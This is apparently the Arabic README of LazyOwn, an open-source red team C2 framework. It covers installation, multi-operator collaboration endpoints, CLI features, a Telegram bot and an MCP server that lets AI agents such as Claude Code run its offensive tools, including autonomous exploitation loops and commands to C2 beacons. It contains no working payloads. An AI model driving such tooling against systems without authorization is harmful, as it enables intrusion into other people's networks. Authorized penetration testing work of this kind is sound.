إطار عمل للفريق الأحمر ومنصة C2 متعددة المشغلين مع وكلاء ذكاء اصطناعي، وبرمجيات خبيثة قابلة للتشكيل، وrootkits، ومحرك تصيد احتيالي، و741 أمر CLI تغطي سلسلة القتل الهجومية الكاملة.
741 أمر CLI. C2 متعدد المشغلين. 153 أداة MCP لوكلاء الذكاء الاصطناعي. الـ C2 الوحيد مفتوح المصدر مع دعم Linux BOF + أسواق YARA/Nuclei المدمجة.
| جرّب في 60 ثانية (بدون تثبيت) | المسار الذهبي (كل مهمة) | auto-pwn بأمر واحد |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |

| أول 7 أوامر | حلقة الاستطلاع |
|---|---|
![]() | ![]() |
| C2 من CLI | إصدار أوامر إلى المنارات |
|---|---|
![]() | ![]() |
دليل شامل: QUICKSTART.md (5 دقائق) · دليل 80/20: ESSENTIALS.md · HTB من البداية للنهاية: docs/examples/htb-lame-walkthrough.md · مقارنة صادقة: COMPARISON.md
| القدرة | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| دعم Linux BOF | نعم | لا | لا | لا | لا | لا |
| سوق YARA + Nuclei مدمج | نعم | لا | لا | لا | لا | لا |
| خادم MCP لوكلاء الذكاء الاصطناعي (153 أداة) | نعم | لا | لا | لا | لا | لا |
| مشغل LLM + خلية متعددة الوكلاء | نعم | لا | لا | لا | لا | لا |
| C2 متعدد المشغلين + محرك التصيد | نعم | جزئي | جزئي | جزئي | جزئي | جزئي |
الجدول الكامل: COMPARISON.md. وجدت خطأً؟ افتح issue، وسنصلحه.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
يأتي LazyOwn بدون أي ضمان على الإطلاق. هذا برنامج مجاني، وأنت مرحب بك لإعادة توزيعه بموجب شروط رخصة GNU General Public License v3.
راجع ملف LICENSE للحصول على تفاصيل حول استخدام هذا البرنامج.
# إطار عمل LazyOwn RedTeam الإصدار v0.2.161
LazyOwn هو إطار عمل احترافي للفريق الأحمر ومنصة Command & Control (C2) مبنية لمختبري الاختراق والفرق الحمراء والباحثين الأمنيين. يوفر 741 أمر CLI، و126 اختصارًا، و153 أداة MCP لوكلاء الذكاء الاصطناعي، ولوحة تحكم ويب C2 متعددة المشغلين، و137 تكامل إضافة YAML/Lua تغطي سلسلة القتل الكاملة عبر Linux وWindows وmacOS وBSD.
**جديد في v0.2.161:** سوق متكامل مع قواعد YARA + قوالب Nuclei، واستغلال ذاتي `auto_pwn`، وأمر `hunt` للاستطلاع المستنير بالتهديدات، ومحرك نصائح ما بعد الأوامر، وتشفير تلقائي لبيانات الجلسة، ونظام ELO/شارات مُلعّب، و7 كتب لعب APT جديدة.
## البدء السريع في ثلاثة أوامر
جديد هنا؟ هذا هو المدخل الكامل. الشرح الكامل: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
التثبيت الافتراضي خفيف؛ أضف --with-ml لحزمة torch/CUDA الثقيلة، و--with-ollama لبيئة تشغيل LLM المحلية، و--with-tools للملفات التنفيذية الخارجية الشائعة. التبعيات مثبتة في requirements.txt (النواة متعددة المنصات) وrequirements-ml.txt (ML الاختياري)؛ pyproject.toml هو المصدر الوحيد للحقيقة.
للعمليات المعزولة والقابلة لإعادة الإنتاج، راجع lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
ثم، داخل الصدفة `(LazyOwn) >`:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
إذا أبلغ doctor عن فشل حاجب (أحمر)، فأصلحه قبل المتابعة — فهو يخبرك بأمر pip install / apt install الدقيق لأي شيء مفقود. التحذيرات (الصفراء) هي ميزات اختيارية يمكنك تجاهلها في الوقت الحالي.
LazyOwn مبني حول بنية معيارية مدفوعة بالأوامر توفر المرونة وقابلية التوسع لسير عمل اختبار الأمان.

يدمج LazyOwn واجهة سطر أوامر (CLI) مبنية على cmd2 وواجهة رسومية قائمة على الويب مبنية على Flask. المعاملات محددة النطاق في payload.json، مما يتيح تكوينًا متسقًا عبر الأدوات. يدعم الإطار محاكاة الخصوم، وجدولة المهام عبر أمر cron، وسير عمل محاكاة التهديدات الآلية المستمرة.


اربط Claude Code بإطار LazyOwn عبر بروتوكول سياق النموذج (MCP). يكشف خادم MCP عن 153 أداة تغطي دورة حياة المهمة الكاملة.
| الملف | الغرض |
|---|---|
skills/lazyown_mcp.py | خادم MCP — يكشف 153 أداة LazyOwn لـ Claude |
skills/lazyown.md | مهارة Claude Code / توثيق الأمر المائل |
skills/autonomous_daemon.py | خادم التنفيذ الذاتي (مدفوع بالهدف، لا يتطلب Claude بين الخطوات) |
skills/hive_mind.py | نظام متعدد الوكلاء ملكة + طائرات بدون طيار مع ذاكرة ChromaDB |
skills/lazyown_policy.py | محرك سياسة قائم على المكافآت لـ auto_loop |
skills/lazyown_facts.py | استخراج منظم للحقائق من nmap XML ومخرجات الأدوات |
skills/lazyown_parquet_db.py | قاعدة معرفة Parquet: سجل الجلسات، GTFOBins، LOLBas، ATT&CK |
الدليل الكامل:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## التعاون بين عدة مشغّلين
توفّر طبقة التعاون في LazyOwn وظائف خادم فريق في الوقت الفعلي عبر
أحداث الخادم المرسلة (SSE). وتُفعَّل تلقائيًا عند بدء `lazyc2.py`.
**لوحة تحكم المتصفح** — افتحها في أي متصفح لدى الفريق:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
تدفق SSE في الطرفية:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**نشر اكتشاف لجميع المشغلين**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
قفل هدف (يمنع مشغّلين اثنين من تشغيل الأداة نفسها):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpoint | Method | Description |
|---|---|---|
| `/collab/` | GET | لوحة تحكم متصفح متعددة المشغلين |
| `/collab/stream?operator=<name>` | GET (SSE) | بث الأحداث في الوقت الفعلي |
| `/collab/operators` | GET | قائمة المشغلين النشطين |
| `/collab/publish` | POST | بث حدث منظم |
| `/collab/lock` | POST | الحصول على قفل الهدف الاستشاري |
| `/collab/unlock` | POST | تحرير قفل الهدف |
| `/collab/locks` | GET | جميع الأقفال النشطة |
| `/collab/history?n=100` | GET | آخر N من الأحداث |
من سطر الأوامر: `collab_join <handle>` يطبع جميع عناوين URL لمشغل معين.
---
## البدء السريع مع MCP
يكشف LazyOwn عن إطاره الكامل عبر بروتوكول سياق النموذج (MCP). يعمل نفس الخادم مع Claude Code وClaude Desktop وHermes Agent وOpenCode — اختر التكامل الذي يناسب بيئتك.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
أو انسخ .mcp.example.json إلى .mcp.json واضبط LAZYOWN_DIR على
المسار المطلق لهذا المستودع المستنسخ:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
قم بتثبيت أمر الشرطة المائلة (اختياري):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
بعد إعادة تشغيل Claude Code، تصبح جميع أدوات lazyown_* متاحة.
LazyOwn أصلي في Hermes. توفر طبقة التكامل skills/hermes-lazyown/ واجهة أدوات مضغوطة ذات نطاق أسماء محسّنة لنوافذ سياق Hermes مع استئناف نقاط التحقق، والتوليد الديناميكي للقواعد، وتخطيط التفويض الأصلي.
سجّل في ~/.hermes/config.yaml:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
ثم أعد تحميل أدوات MCP في Hermes باستخدام `/reload-mcp`.
راجع `skills/hermes-lazyown/README.md` للحصول على دليل تكامل Hermes الكامل.
### OpenCode
LazyOwn متوافق مع OpenCode عبر **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
يقوم المحوّل بجسر خادم MCP الخاص بـ LazyOwn إلى واجهة OpenCode CLI، مما يعرض نفس سطح أدوات lazyown_* مع مطالبات وسير عمل أصلية لـ OpenCode.
الإعداد الكامل: https://github.com/grisuno/LazyOwnOpenCodeAdapter
| المتغير | الافتراضي | الوصف |
|---|---|---|
LAZYOWN_DIR | أصل skills/ | دليل جذر LazyOwn |
LAZYOWN_C2_HOST | payload.json lhost | عنوان خادم C2 |
LAZYOWN_C2_PORT | payload.json c2_port | منفذ خادم C2 |
LAZYOWN_C2_USER | payload.json c2_user | اسم مستخدم C2 |
LAZYOWN_C2_PASS | payload.json c2_pass | كلمة مرور C2 |
| المجموعة | الأدوات | الوصف |
|---|---|---|
| التنفيذ الأساسي | 7 | run_command (الآن مع dry_run + confirm)، get/set_config، list_modules، discover_commands، command_help، palette |
| التدقيق والسياق | 6 | target_context، tasks_cleanup، evidence_grep، session_diff، run_command_async، job_status |
| إدارة الأهداف | 3 | add_target، list_targets، set_active_target |
| التحكم في C2 / Implant | 10 | c2_command، c2_status، get_beacons، run_api، c2_profile، c2_vuln_analysis، c2_redop، c2_search_agent، c2_script، c2_adversary |
| الوعي بالجلسة | 4 | session_status، session_state، list_sessions، read_session_file |
| الحلقة المستقلة | 3 | auto_loop، policy_status، recommend_next |
| ACI — استخبارات الحملة المستقلة | 3 | aci_plan، aci_status، aci_replan |
| الاستخبارات التفاعلية | 2 | reactive_suggest، bridge_suggest |
| الأهداف والتخطيط | 4 | inject_objective، next_objective، soul، read_prompt |
| قواعد المعرفة | 9 | parquet_query/annotate، facts_show، cve_search، searchsploit، rag_index/query، threat_model |
| الذاكرة والتعلم | 3 | memory_recall/store، eval_quality |
| الحملة وإعداد التقارير | 7 | campaign، campaign_tasks، generate_report، misp_export، collab_publish، timeline |
| كتب اللعب | 2 | playbook_generate، playbook_run |
| الإضافات والأدوات والمكونات الإضافية | 3 | list_addons/plugins، create_addon/tool |
| الجدولة | 2 | cron_schedule، daemon |
| وكلاء الذكاء الاصطناعي | 5 | run_agent، agent_status/result، list_agents، llm_ask |
| محرك الأحداث | 4 | poll_events، ack_event، add_rule، heartbeat_status |
| SWAN MoE+RL | 4 | swan_run، swan_ensemble، swan_status، swan_route |
التوثيق الكامل: skills/README.md و skills/lazyown.md.
أُضيفت في skills/lazyown_mcp_helpers.py لجعل عمليات التدقيق المستقلة أكثر
كفاءة وأقل عرضة للأخطاء. المنطق موجود في وحدة دوال خالصة بحيث يمكن
اختبارها بشكل معزول (tests/test_mcp_improvements.py).
| الأداة / المعامل | ما تفعله | لماذا تهم |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | يُرجع SITREP كقاموس منظم بدلاً من لافتة؛ ويُضمّن اختياريًا أفضل 3 إجراءات موصى بها مرتبة. | يوفر ~5KB من النص المزخرف لكل استدعاء؛ يمكن للوكلاء التصفية قبل الاستهلاك. |
lazyown_campaign_sitrep(format='json') | نفس خيار JSON لتقرير الوردية الرئيسي. | تنسيق متسق عبر أداتي الموقف. |
lazyown_target_context(host, port=N) | يجمع المنافذ المفتوحة، وبيانات اعتماد نموذج العالم (مع المصدر + الثقة)، والثغرات، وحداثة أدلة pwntomate، وحداثة nmap لزوج واحد (host, port). | يستبدل 4-5 عمليات بحث منفصلة عند تحديد الإجراء التالي على هدف. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | يدقق sessions/tasks.json ويشير إلى الإدخالات التي تكون فيها بيانات الاعتماد المضمّنة في الواقع طابعًا زمنيًا / URL / IP / مكررة. مرّر dry_run=false لإعادة كتابة الملف (تُكتب نسخة .bak أولاً). | غالبًا ما يحوّل المراقب الطوابع الزمنية للسجل إلى "بيانات اعتماد"؛ في حملة حقيقية يؤدي هذا إلى إسقاط أكثر من 100 مهمة ضوضاء. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | فحص مسبق: يُرجع الأمر الأساسي، ومسار الملف التنفيذي، والمطلوب لنظام التشغيل مقابل نظام التشغيل الحالي، والقطع الأثرية التي ستتكرر، ومفاتيح الحمولة المفقودة — دون تنفيذ. | يمنع إعادة تشغيل فحوصات مدتها 30 دقيقة بالخطأ؛ ويشير إلى الأدوات الخاصة بـ Windows مقابل هدف Linux قبل الإطلاق. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | نمط المهمة الخلفية للأوامر الطويلة (lazynmap، pwntomate، auto_loop). يُرجع job_id فورًا. | يحرر الوكيل من الحجب على الأوامر الموثقة بأنها ≥30 دقيقة. |
lazyown_session_diff(take=true) | يُبلغ عن الملفات المضافة / المعدلة / المحذوفة في sessions/ بالإضافة إلى بيانات الاعتماد / معرفات المهام الجديدة منذ آخر لقطة. | يجعل تسليم الورديات صريحًا؛ يعمل جيدًا كأول استدعاء في كل جلسة جديدة. |
بوابة التأكيد (confirm=true) | lazyown_c2_command، lazyown_c2_redop، lazyown_c2_adversary، وأي run_command يتطابق جسمه مع / / / تتطلب الآن معامل صريحًا. |
طبقة امتداد SOLID في cli/cli_enhancements.py تتصل بصدفة cmd2
عبر الاكتشاف التلقائي الموجود لـ CommandSet (cli/commands/audit.py). لم تكن هناك حاجة
لتعديلات على نواة lazyown.py البالغة 27 ألف سطر بخلاف خطافين صغيرين
(تحميل الاسم المستعار lazy، والرجوع إلى completedefault).
| الأمر / الخطاف | ما يفعله | مدعوم بـ |
|---|---|---|
fz [query] | باحث أوامر ضبابي عبر كل do_*، والاسم المستعار، والمكوّن الإضافي، والإضافة. يُقيّم التطابق التام > البادئة > السلسلة الفرعية > تشابه التسلسل. | FuzzyCommandIndex |
form <command> | يرشد المشغل عبر نموذج معاملات تفاعلي للأوامر ذات الأعلام الكثيرة (حاليًا phishing، venom، evil). يتحقق من الحقول المطلوبة وتعدادات options؛ ويعود إلى الإعدادات الافتراضية في الإدخال/الإخراج غير التفاعلي. | InteractiveForm، FormSpec |
status_tail [target] | يحلل أحدث sessions/scan_<target>.partial/.nmap ويطبع المنافذ المفتوحة ونسبة الإكمال والسطر الأخير حتى يتمكن المشغل من مراقبة فحص طويل دون مغادرة الصدفة. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | بحث Regex عبر النص الأخير للأوامر المنفذة ومخرجاتها. يستمر عبر عمليات إعادة التشغيل (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | يستطلع lazyaddons/ و plugins/ ويعيد تسجيل أي شيء تغير منذ آخر مسح، دون إعادة تشغيل الصدفة. | AddonHotReloader |
audit_complete_keys <command> [partial] | يُظهر ما سيقترحه المكمل المدرك للحمولة لأمر معين. مفيد للتحقق من سلوك الإكمال. | PayloadAwareCompleter |
completedefault (Tab) | خطاف Cmd2 يمر الآن إلى مكمل مدرك للحمولة يقترح مفاتيح الحمولة لـ set/assign، وقيم IP لـ target، ومفاتيح قائمة الكلمات لـ gobuster/ffuf، وأسماء الإضافات لـ run، وأسماء المكونات الإضافية لـ plugin، وبيانات الاعتماد الملتقطة لـ evil/cme/secretsdump. | PayloadAwareCompleter |
| حل الأسماء المستعارة الديناميكي |
الأساسيات مستقلة عن الإطار وتعتمد على واجهات typing.Protocol صغيرة
(PayloadProvider، CommandLister، TerminalIO) بحيث يمكن
اختبارها بشكل معزول. انظر tests/test_cli_enhancements.py (36 اختبارًا).
تثبّت صدفة cmd2 منتقيًا ضبابيًا مدفوعًا بـ curses فوق GNU readline
(cli/fuzzy_picker.py). عند ضغطة Tab واحدة، عندما يتوفر إكمالان
أو أكثر، يفتح المنتقي قائمة منسدلة محدودة الحواف مثبتة في
أسفل الطرفية تعرض كل تطابق إلى جانب وصفه.
يفضل المُقيّم التطابقات التامة والبادئة والتسلسل الفرعي على السلسلة الفرعية
والتشابه (نفس الترتيب الذي يستخدمه أمر fz المستقل)، ويُبرز
الأحرف المتطابقة من الاستعلام في كل صف حتى يتمكن المشغل
من رؤية سبب وجود مرشح في القائمة.
التنقل: ↑ / ↓ للتحرك، Page Up / Page Down للقفز، Home /
End للبحث، Backspace لتحرير الاستعلام في مكانه، Tab أو
Enter لإدراج الأمر المُبرز في المطالبة، Esc أو
Ctrl-C للإلغاء. عندما يتطابق مرشح واحد فقط، يُحفظ سلوك
الإدراج التلقائي العادي لـ readline حتى لا يعيق المنتقي أبدًا
مشغلًا سريعًا. تُدار الهندسة والألوان والرموز بواسطة PickerConfig،
ويمكن لكتلة fuzzy_picker الاختيارية في payload.json تجاوز أي من
حقولها (مثل "max_visible_rows": 8) دون لمس الكود.
config_bannerتعرض صدفة cmd2 مطالبة Neon Box من ثلاثة أسطر مُجمّعة من
مجموعة معيارية من المقاطع (user_host، iface، lhost، rhost،
domain، public_ip، cwd، git، venv، time، kernel، version،
battery_load). العارض مُنفّذ في cli/banner_config.py كـ
مكدس SOLID صغير: SegmentRenderer واحد لكل قطعة معلومات،
و SegmentRegistry، وكائن قيمة BannerSettings، و BannerRenderer
يُصدر مخرجات بألوان ANSI. عنوان IP العام، وإصدار النواة، وإصدار LazyOwn
مخزنة مؤقتًا بـ TTL بحيث تبقى المطالبة دون الميلي ثانية بعد العرض الأول.
يفتح أمر الصدفة config_banner معالج curses بأسلوب Powerlevel10k
بثلاثة تبويبات — Segments، Colors، Glyphs — ومعاينة
مباشرة للمطالبة الناتجة مثبتة في أسفل اللوحة.
Tab / Shift+Tab يتنقلان بين التبويبات؛ ↑ / ↓ يتحركان داخل التبويب النشط؛
Enter يحفظ في payload.json تحت كتلة banner؛ Escape
يلغي. ارتباطات كل تبويب:
| التبويب | مفاتيح الإجراء |
|---|---|
| Segments | Space يبدّل مقطعًا تشغيلًا/إيقافًا؛ a يفعّل كل المقاطع؛ n يعطّل كل المقاطع؛ d يستعيد الإعدادات الافتراضية للمصنع. |
| Colors | Space / → ينتقل إلى اللون المسمى التالي (bright_green، bright_cyan، bright_magenta، …)؛ ← يعود للخلف؛ d يستعيد اللون الافتراضي لذلك المقطع. |
| Glyphs | Space / → ينتقل إلى الحرف التالي للفتحة المركزة (top_left، vertical، bullet_primary، arrow، prompt_char_user، …)؛ ← يعود للخلف؛ d يستعيد الرمز الافتراضي لتلك الفتحة. |
تُحدّث مطالبة الصدفة فورًا بعد الحفظ — دون حاجة لإعادة التشغيل.
يمكن للمشغلين بدون TTY (CI، السكربتات) لا يزالون تشغيل النظام بـ
config_banner show و config_banner reset، أو تحرير الحمولة يدويًا:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
يتم التحقق من أسماء الألوان مقابل `ColorRegistry` ومحارف الرموز
مقابل `GlyphRegistry`؛ أي شيء غير معروف يعود بصمت إلى
الإعداد الافتراضي للمصنع بحيث لا تُعطّل أي حمولة مشوّهة المطالبة أبدًا.
### التنقل الواعي بالرسم البياني — تجربة المشغّل + الوكيل من graphify
يقوم `cli/graph_advisor.py` بتحميل الرسم البياني المعرفي الذي ينتجه
[`/graphify`](https://graphify.dev) على شجرة مصدر LazyOwn
(`graphify-out/graph_lazyown.json` — حوالي 1500 عقدة، وحوالي 2900 حافة، و14
مجتمعًا) ويكشفه لكل من صدفة cmd2 وخادم MCP. المستشار
عبارة عن حزمة SOLID أحادية الملف — `GraphLoader` (إدخال/إخراج ملفات مخزّن مؤقتًا حسب mtime)، و`GraphIndex` (فهارس التجاور / الدرجة / المجتمع في الذاكرة)،
و`GraphScorer` (بدائية ترتيب خالصة)، و`GraphAdvisor` (المنسّق) —
مع الاحتفاظ بكل ثابت على dataclass `GraphAdvisorConfig`.
**أوامر المشغّل (صدفة cmd2)**
| الأمر | الغرض |
|---------|---------|
| `graph_search <query> [limit]` | بحث ضبابي عن العقد حسب التسمية أو المعرّف أو ملف المصدر. |
| `neighbors <node> [depth] [limit]` | التنقل في الرسم البياني للخارج من عقدة مع علاقة الحافة / الثقة. |
| `god_nodes [N]` | إظهار العقد الأكثر ارتباطًا — التجريدات الأساسية للإطار. |
| `suggest_next [seeds…] [N]` | التوصية بالأوامر التالية عبر التنقل للخارج من النشاط الأخير. بدون بذور يقرأ `sessions/LazyOwn_session_report.csv` ويستمد البذور من هناك. |
تقوم خطّافة `default()` في الصدفة الآن بتمرير أوامر `do_*` غير المعروفة عبر
نفس المستشار + `FuzzyCommandIndex` الموجود بحيث يرى المشغّل الذي يكتب
`ddo_lazynmap` فورًا *"هل تقصد: do_lazynmap، do_lazynmap_quick، …؟"*
قبل التنبيه.
**أدوات MCP (Claude Code، Claude web، أي وكيل MCP)**
| الأداة | الغرض |
|------|---------|
| `lazyown_graph_summary` | أعداد العقد / الحواف / المجتمعات ومسار الرسم البياني المُحلَّل. |
| `lazyown_graph_search` | بحث ضبابي عن العقد مع حد `budget_tokens` بحيث لا تتجاوز استجابة JSON نافذة سياق الوكيل أبدًا. |
| `lazyown_graph_neighbors` | تنقل طبقي في التجاور مع علاقة الحافة والثقة — استعلام "على ماذا يعتمد X؟" الأساسي. |
| `lazyown_graph_suggest_next` | توصية بالخطوة التالية؛ تأخذ قائمة `recent` صريحة أو تقرأ نص الجلسة. |
تقوم كل أداة رسم بياني في MCP بقص حقول القوائم في مكانها لتلائم `budget_tokens`
(الافتراضي 1500). عندما يكون الرسم البياني مفقودًا، تُرجع كل أداة
`{"available": false, "reason": "..."}` بدلًا من الانهيار — يُطلب من المشغّل
تشغيل `/graphify .` مرة واحدة ويبدأ كل شيء في العمل.
يخزّن المستشار مؤقتًا حسب `(path, mtime)` بحيث تُلتقط إعادة بناء `/graphify` الجديدة
تلقائيًا في أمر CLI التالي أو استدعاء MCP دون
إعادة تشغيل الصدفة أو خادم MCP. راجع
`tests/test_graph_advisor.py` للاختبارات الوحدوية العشرين التي تغطي المحمّل،
والفهرس، والمرتّب، وواجهة برمجة المستشار الكاملة.
### تلميحات تفاعلية مضمّنة — اقتراحات غير حاجبة للخطوة التالية
يتصل `cli/reactive_hints.py` بخط أنابيب ما بعد الأمر في cmd2 عبر
`register_postcmd_hook` ويطبع سطرًا خافتًا واحدًا أسفل كل مخرجات أمر،
قبل ظهور المطالبة التالية:```
↳ do_gobuster · do_enum4linux · do_ffuf
يأتي الاقتراح من مخطط المعرفة graphify (نفس GraphAdvisor المستخدم بواسطة suggest_next)، لذا فهو مُستند بنيويًا — وليس قائمة عامة.
الخطاف غير حاجب تمامًا: فهو يعود قبل أن يُصيّر cmd2 المطالبة، لذا
يمكن للمشغّل البدء في كتابة الأمر التالي فورًا.
التحكم
| الإجراء | الكيفية |
|---|---|
| تعطيل التلميحات للجلسة | set enable_inline_hints false |
| إعادة التمكين | set enable_inline_hints true |
| الحفظ بشكل دائم | set enable_inline_hints false ثم save |
الأوامر الموجودة في قائمة التخطي (help، ?، exit، set، show، palette،
dashboard، suggest_next، graph_search، neighbors، god_nodes) لا
تُنتج سطر تلميح أبدًا — فهي أوامر وصفية حيث يضيف الاقتراح ضوضاء.
عند غياب مخطط graphify يعود الخطاف بصمت. شغّل
/graphify . مرة واحدة لبناء المخطط وتبدأ التلميحات في الظهور عند الأمر
التالي مباشرة.
dashboardcli/dashboard_tui.py هي لوحة تحكم ملء الشاشة مبنية بـ Textual
تُطلق من الصدفة عبر:```
dashboard
إنه يحجب الصدفة أثناء فتحه (مثل `htop` أو `lazygit`). اضغط على **Q** أو
Ctrl-C للإغلاق والعودة إلى موجه cmd2.
**التخطيط**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
مصادر البيانات (تُحدَّث تلقائيًا كل 5 ثوانٍ)
| اللوحة | المصدر |
|---|---|
| الهدف / المرحلة / نظام التشغيل | payload.json، sessions/world_model.json |
| تقدّم سلسلة القتل | sessions/world_model.json → completed_phases |
| الأوامر الأخيرة | sessions/LazyOwn_session_report.csv |
| الهدف | sessions/world_model.json، sessions/tasks.json |
| بيانات الاعتماد / التجزئات | sessions/credentials*.txt، sessions/hash*.txt |
| المنارات | sessions/beacons.json |
| تلميحات الرسم البياني | graphify-out/graph_lazyown.json |
يتطلب pip install textual (مُضاف إلى install.sh).
تتيح أداة lazyown_palette الخاصة بـ MCP (والتي يمكن الوصول إليها أيضًا عبر أمر CLI palette
وعرض الويب /palette، مع طبقة تراكب عامة Ctrl+K / Cmd+K على
كل صفحة C2) للوكلاء والمشغّلين تصفّح أكثر من 422 أمر do_*
دون تمرير. الأوضاع:
| الوضع | مثال | الوصف |
|---|---|---|
| نظرة عامة | palette | أعداد الأوامر مرحلةً بمرحلة. |
| المرحلة | palette recon | كل أمر في مرحلة من سلسلة القتل، مع ملخص من سطر واحد. |
| المرحلة + تصفية | palette enum nmap | قائمة المرحلة مُضيَّقة باستعلام نصي حر. |
| البحث | palette --search ldap | بحث ضبابي عبر الاسم والملخص. |
| التفاصيل | palette --info do_lazynmap | الإدخال الكامل بالإضافة إلى الجيران calls وrelated المستمدّة من graphify (الأوامر الأخرى التي تشترك في دوال مساعدة مع هذا الأمر). |
| المرحلة التالية | palette --next recon | الأوامر الموصى بها في المرحلة التي تليها في ترتيب سلسلة القتل. |
تأتي قوائم calls / related في عرض التفاصيل من
graphify-out/graph_lazyown.json (التي يُعاد توليدها بواسطة مهارة graphify)؛
وعند غياب هذا الملف تتدهور اللوحة بصمت إلى بيانات المرحلة فقط.
يربط بوت telegram_hermes.py تطبيق Telegram بإطار عمل LazyOwn الكامل عبر طبقة MCP وبوابة Hermes. يدعم التنفيذ المباشر لأوامر الصدفة، وتفويض الوكلاء المستقلين، والجدولة عبر cron، والتفاعل مع منارات C2، والمراسلة عبر المنصات.
| الملف | الغرض |
|---|---|
telegram_hermes.py | بوت Telegram — يربط Telegram بـ LazyOwn MCP وبوابة Hermes |
run_telegram_hermes.sh | سكربت تشغيل يستخدم بيئة venv مخصصة |
venv_telegram/ | بيئة Python افتراضية مع تبعيات python-telegram-bot |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### أوامر البوت
| الأمر | الوصف |
|---------|-------------|
| `/start <secret>` | المصادقة باستخدام سر C2 من `payload.json` |
| `/cmd <command>` | تنفيذ أي أمر LazyOwn shell |
